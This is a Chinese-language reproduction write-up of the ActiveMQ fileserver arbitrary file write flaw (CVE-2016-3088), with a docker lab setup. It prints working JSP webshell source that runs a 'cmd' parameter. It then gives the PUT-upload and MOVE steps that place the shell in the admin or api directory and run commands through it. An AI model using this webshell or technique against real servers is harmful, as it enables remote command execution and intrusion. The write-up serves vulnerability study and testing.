1. 程式人生 > 其它 >ActiveMQ任意檔案寫入(CVE-2016-3088)

ActiveMQ任意檔案寫入(CVE-2016-3088)

0x01 漏洞概述

​ ActiveMQ Web控制檯分為三個應用程式,admin,api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;管理員和 API 需要先登入才能使用,檔案伺服器不需要登入。

​ fileserver 是一個 RESTful API 介面。我們可以通過HTTP請求(如GET,PUT和DELETE)讀取和寫入儲存在其中的檔案。設計目的是補償訊息佇列操作無法傳輸和儲存二進位制檔案的缺陷,但後來發現:

(1)其使用率不高

(2)檔案操作容易出現漏洞

​ 因此,ActiveMQ預設在5.12.x—5.13.x中關閉了檔案伺服器應用程式(您可以在conf/jetty.xml中開啟它);在 5.14.0 之後,檔案伺服器應用程式將被完全刪除。在測試過程中,要注意ActiveMQ的版本,防止無用的費力。

0x02 漏洞詳情

這個漏洞出現在Fileserver應用程式中,漏洞原理其實很簡單,即fileserver支援寫入檔案(但不解析JSP),同時支援移動檔案(MOVE請求)。因此,我們只需要寫入一個檔案,然後通過使用移動請求將其移動到任何位置,從而導致任意檔案寫入漏洞。寫入檔案,如 cron 或 ssh 金鑰

​ (1)編寫 Webshell

​ (2)寫入檔案,如 cron 或 ssh 金鑰

​ (3)編寫庫和配置檔案,如 jar 或 jetty.xml

0x03 漏洞環境

1、啟動漏洞環境

2、檢視漏洞搭建情況

http://your-ip:8161/

3、刪除漏洞環境

docker-compose down

0x04 復現過程

1、訪問fileserver路徑

2、利用burpsuite工具抓包

3、傳送到重發器,PUT上傳一個jsp的webshell到fileserver目錄,下圖可以看到成功上傳jsp檔案。

.js檔案如下:

<%@ page import="java.io.*"%>
 
<%
 
 out.print("Hello</br>");
 
 String strcmd=request.getParameter("cmd");
 
 String line=null;
 
 Process p=Runtime.getRuntime().exec(strcmd);
 
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 
 
 
 while((line=br.readLine())!=null){
 
  out.print(line+"</br>");
 
 }
 
%>

4、使用瀏覽器訪問

http://your-ip:8161/fileserver/1.jsp

​ 通過上圖可以看到,fileserver目錄下的webshell沒有被解析,說明fileserver目錄沒有執行許可權。

5、通過瀏覽器訪問ActiveMQ的絕對路徑

http://your-ip:8161/admin/test/systemProperties.jsp

6、通過move的方法,將木馬檔案移動到api或admin

7、訪問該路徑

http://your-ip:8161/api/1.jsp?cmd=ls

顯示該介面,則訪問成功。